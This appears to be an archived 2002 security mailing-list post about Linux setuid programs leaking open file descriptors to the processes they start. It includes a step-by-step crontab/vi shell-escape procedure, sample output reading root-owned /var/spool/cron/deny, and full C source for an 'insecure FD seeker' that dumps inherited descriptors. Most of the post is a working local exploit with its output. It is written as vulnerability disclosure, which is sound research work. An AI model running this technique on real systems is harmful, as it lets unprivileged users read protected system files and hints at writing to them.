OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
From: Paul Starzetz (paulstarzetz.de)
Date: Thu May 02 2002 - 12:35:02 CDT

  • Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

    Steven M. Bellovin wrote:

    >>The list includes, but is not limited to:
    >>
    >> command-line array
    >> environment array
    >> open files
    >>
    >>
    I don't think there was enough research on open file descriptor
    problems. For example, I found this small bug while playing yround with
    crontab on Linux:

    gcc cronread.c -o cronread

    export VISUAL=/bin/vi
    crontab -e

    <:sh> escape to shell

    ./cronread

    0000 iz OPEN st_uid 24129 st_gid 5 PATH /dev/pts/15/fd/0
    dump (y/n) n

    0001 iz OPEN st_uid 24129 st_gid 5 PATH /dev/pts/15/fd/1
    dump (y/n) n

    0002 iz OPEN st_uid 24129 st_gid 5 PATH /dev/pts/15/fd/2
    dump (y/n) n

    0003 iz OPEN st_uid 0 st_gid 0 PATH
    /var/spool/cron/deny dump (y/n) y

    --- DUMPING /var/spool/cron/deny ---

    guest
    gast

    ---
    0005 iz OPEN
    0006 iz OPEN
    

    ls -l /var/spool/cron/deny -rw------- 1 root root 11 Oct 25 2001 /var/spool/cron/deny

    So I'm able to read a privileged system file using this technique :-> Not necessary to mention the consequences of inheriting such a fd open for writing. More effort must be put to investigate this problem in current Linux/Unix suid/setgid binaries.

    have fun with the attached source.

    /ih

    /**************************************************************** * * * insecure FD seeker * * by IhaQueR '2002 * * * ****************************************************************/

    #include <stdio.h> #include <unistd.h> #include <fcntl.h> #include <sys/types.h> #include <sys/stat.h> #include <linux/limits.h>

    #define TMPLEN 1024

    void dumpfd(int fd, char *name) { int r; char c=13;

    r = lseek(fd, 0, SEEK_SET); if(r == (off_t)-1) { perror("lseek"); return; } printf("\n--- DUMPING %s ---\n\n", name); do { r = read(fd, &c, sizeof(c)); if(r>0) { printf("%c", c); } } while(r>0); printf("\n\n---"); fflush(stdout); }

    int main() { int i, r, f; uid_t uid; gid_t gid; struct stat st; char buf[TMPLEN];

    uid = getuid(); gid = getgid();

    for(i=0; i<NR_OPEN; i++) { r = fstat(i, &st); if(!r) { printf("\n%.4d iz OPEN", i); if(st.st_uid != uid || st.st_gid != gid) { printf("\tst_uid %d\tst_gid %d", st.st_uid, st.st_gid); snprintf(buf, sizeof(buf)-1, "/proc/%d/fd/%d", getpid(), i); buf[sizeof(buf)-1] = 0; readlink(buf, buf, sizeof(buf)-1); buf[sizeof(buf)-1] = 0; printf("\tPATH %s ", buf); printf("\tdump (y/n) "); r = getchar(); if(r == 'y') dumpfd(i, buf); getchar(); } } } printf("\n\n"); fflush(stdout);

    return 0; }